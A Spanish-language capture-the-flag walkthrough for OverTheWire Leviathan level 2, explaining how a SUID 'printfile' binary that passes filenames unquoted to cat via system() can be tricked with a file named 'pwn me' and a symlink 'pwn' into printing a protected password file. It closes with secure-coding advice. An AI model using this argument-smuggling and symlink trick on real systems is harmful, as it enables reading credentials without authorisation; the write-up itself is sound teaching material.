← Volver al listado de tecnologías

Leviathan Nivel 2 - Inyección de Comandos

Por: SiempreListo
overthewireleviathancommand-injectionsuidnivel-2

Leviathan Nivel 2 - Inyección de Comandos

Objetivo

Hay un binario printfile que imprime archivos. Explotarlo para leer la contraseña.

Exploración

ls -la
./printfile
# Usage: ./printfile filename

Probemos:

./printfile /etc/leviathan_pass/leviathan3
# Error: no tienes permisos

Pero el binario es SUID…

Análisis con ltrace

ltrace ./printfile /etc/passwd

Observa las llamadas:

  1. access() - Verifica si TIENES permiso
  2. /bin/cat - Ejecuta cat con el archivo

El Problema

El programa verifica permisos con access() pero luego pasa el nombre a cat directamente.

Teoría: Inyección en Nombres de Archivo

Si el nombre contiene espacios, cat lo interpreta como múltiples archivos:

cat "archivo uno" archivo_dos
# Intenta abrir "archivo" "uno" y "archivo_dos"

Solución

Paso 1: Crear directorio temporal

mkdir /tmp/lev2
cd /tmp/lev2

Paso 2: Crear archivo con espacio en el nombre

touch "pwn me"
ln -s /etc/leviathan_pass/leviathan3 pwn

Ahora tenemos:

Paso 4: Explotar

~/printfile "pwn me"

¿Qué pasa?

  1. access("pwn me") - Verifica permisos de “pwn me” (OK, es tuyo)
  2. cat pwn me - Cat intenta abrir “pwn” y “me”
  3. “pwn” es symlink a la contraseña

Por Qué Funciona

PasoFunciónArgumento
Verificaciónaccess()"pwn me" (archivo completo)
Ejecucióncatpwn y me (separados)

El programa no maneja correctamente espacios en nombres.

Lección de Seguridad

Validación Inconsistente

// Vulnerable
access(filename);           // Verifica "pwn me"
system("cat " + filename);  // Ejecuta cat pwn me

// Correcto
access(filename);
cat_file(filename);         // Función propia, no shell

Reglas

  1. Nunca pasar input de usuario a system()
  2. Usar funciones de librería, no comandos shell
  3. Escapar argumentos si es necesario

Comandos Aprendidos

ComandoUso
touchCrear archivos
ln -sCrear symlinks
ltraceAnalizar binarios

Siguiente Nivel